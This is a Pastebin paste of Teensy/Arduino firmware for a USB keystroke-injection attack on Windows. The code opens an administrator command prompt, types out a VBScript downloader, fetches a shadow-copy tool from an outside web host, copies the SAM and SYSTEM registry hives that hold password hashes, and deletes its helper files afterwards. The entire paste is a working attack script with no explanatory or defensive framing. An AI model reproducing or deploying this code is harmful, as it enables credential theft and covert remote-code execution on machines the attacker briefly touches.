Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void setup() {
- delay(5000);
- cmd_admin();
- delay(400);
- Keyboard.print("cd <DIRECTORY TO SAVE SAM AND SYSTEM TO>");
- enter_key();
- delay(200);
- Keyboard.print("copy con download.vbs");
- enter_key();
- Keyboard.print("Set args = WScript.Arguments:a = split(args(0), '/')(UBound(split(args(0),'/')))");
- enter_key();
- Keyboard.print("Set objXMLHTTP = CreateObject('MSXML2.XMLHTTP'):objXMLHTTP.open 'GET', args(0), false:objXMLHTTP.send()");
- enter_key();
- Keyboard.print("If objXMLHTTP.Status = 200 Then");
- enter_key();
- Keyboard.print("Set objADOStream = CreateObject('ADODB.Stream'):objADOStream.Open");
- enter_key();
- Keyboard.print("objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0");
- enter_key();
- Keyboard.print("Set objFSO = Createobject('Scripting.FileSystemObject'):If objFSO.Fileexists(a) Then objFSO.DeleteFile a");
- enter_key();
- Keyboard.print("objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing");
- enter_key();
- Keyboard.print("End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing");
- enter_key();
- delay(400);
- Keyboard.set_modifier(MODIFIERKEY_CTRL);
- delay(400);
- Keyboard.set_key1(KEY_Z);
- Keyboard.send_now();
- clear_keyboard();
- delay(400);
- enter_key();
- Keyboard.print("cscript download.vbs http://tools.lanmaster53.com/vssown.vbs");
- enter_key();
- delay(800);
- Keyboard.print("del download.vbs");
- enter_key();
- delay(400);
- Keyboard.print("cscript vssown.vbs /start");
- enter_key();
- delay(400);
- Keyboard.print("cscript vssown.vbs /create");
- enter_key();
- delay(400);
- Keyboard.print("copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SAM .");
- enter_key();
- delay(400);
- Keyboard.print("copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SYSTEM .");
- enter_key();
- delay(400);
- Keyboard.print("cscript vssown.vbs /stop");
- enter_key();
- delay(800);
- Keyboard.print("del vssown.vbs");
- enter_key();
- delay(500);
- Keyboard.print("exit");
- enter_key();
- }
- void loop() {
- digitalWrite(PIN_D6, LOW); // LED on
- delay(random(1000)); // Slow Blink
- digitalWrite(PIN_D6, HIGH); // LED off
- delay(random(1000));
- }
- void run_command() {
- Keyboard.set_modifier(MODIFIERKEY_GUI);
- delay(500);
- Keyboard.set_key1(KEY_R);
- Keyboard.send_now();
- clear_keyboard();
- }
- void cmd_admin() {
- Keyboard.set_modifier(MODIFIERKEY_GUI);
- Keyboard.send_now();
- clear_keyboard();
- delay(500);
- Keyboard.print("cmd");
- delay(500);
- Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
- Keyboard.set_key1(KEY_ENTER);
- Keyboard.send_now();
- clear_keyboard();
- delay(1500);
- Keyboard.set_key1(KEY_LEFT);
- Keyboard.send_now();
- clear_keyboard();
- delay(500);
- enter_key();
- delay(500);
- }
- void clear_keyboard() {
- Keyboard.set_modifier(0);
- Keyboard.set_key1(0);
- Keyboard.send_now();
- }
- void enter_key() {
- Keyboard.set_key1(KEY_ENTER);
- Keyboard.send_now();
- clear_keyboard();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement